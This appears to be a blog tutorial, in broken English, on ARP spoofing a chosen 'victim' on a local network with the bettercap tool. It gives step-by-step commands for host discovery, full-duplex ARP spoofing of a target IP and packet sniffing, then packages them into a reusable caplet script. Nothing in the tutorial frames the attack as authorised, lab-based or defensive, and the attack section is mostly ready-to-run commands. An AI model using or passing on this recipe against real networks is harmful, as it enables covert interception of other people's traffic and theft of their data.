In this article i’m going to teach you how to create custom spoofing script. We already discussed ARP poisoing attack but I’m not tell you how to attack targeted person so In this article I will teach you.
How to Poisoning attack on targeted persion?
Step 1:
First open your bettercap Tool on your linux machine you not have that tool means just read previous article that will help you.
sudo bettercap -iface wlan0
Step 2:
Once you open bettercap tool on your terminal then you type help command that command will show all modules on bettercap see this below image

Step 3:
Now on net.probe and net.recon modules type this below command one by one
net.probe on
net.recon on
When activated, this module will send different types of probe packets to each IP in the current subnet in order for theย net.reconย module to detect them
This module is responsible for periodically reading the system ARP table in order to detect new hosts on the network.
Choose victim IP
Step 4:
Once you on net.recon module type this below command this command will help you to find all connected device on your network.
net.show
After that you copy your victim ip address from the net.show list

Once you copy your target IP address then type this below command’s to get all packets from victim device
set arp.spoof.fullduplex true
If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail).
Afet that set your target using this following command
set arp.spoof.targets ( Your taget ip address )
Then start arp.spoof module on your bettercap so type this below command on your terminal
arp.spoof on

Step 5:
Now on net.sniff module to capture victim packets so type this below command on your terminalย
net.sniff on
If you on netsniff module it will start to capture all packets from your victim device see this below image

How to create custom spoofing script?
Step 1:
Type all the bettercap commands on one text file till the net.sniff on
net.probe on
net.recon on
set arp.spoof.fullduplex true
set arp.spoof.targets 172.20.10.8
arp.spoof on
net.sniff on
Step 2:
Now open your terminal and type this below command
sudo bettercap -iface wlan0 -caplet ( your text file )
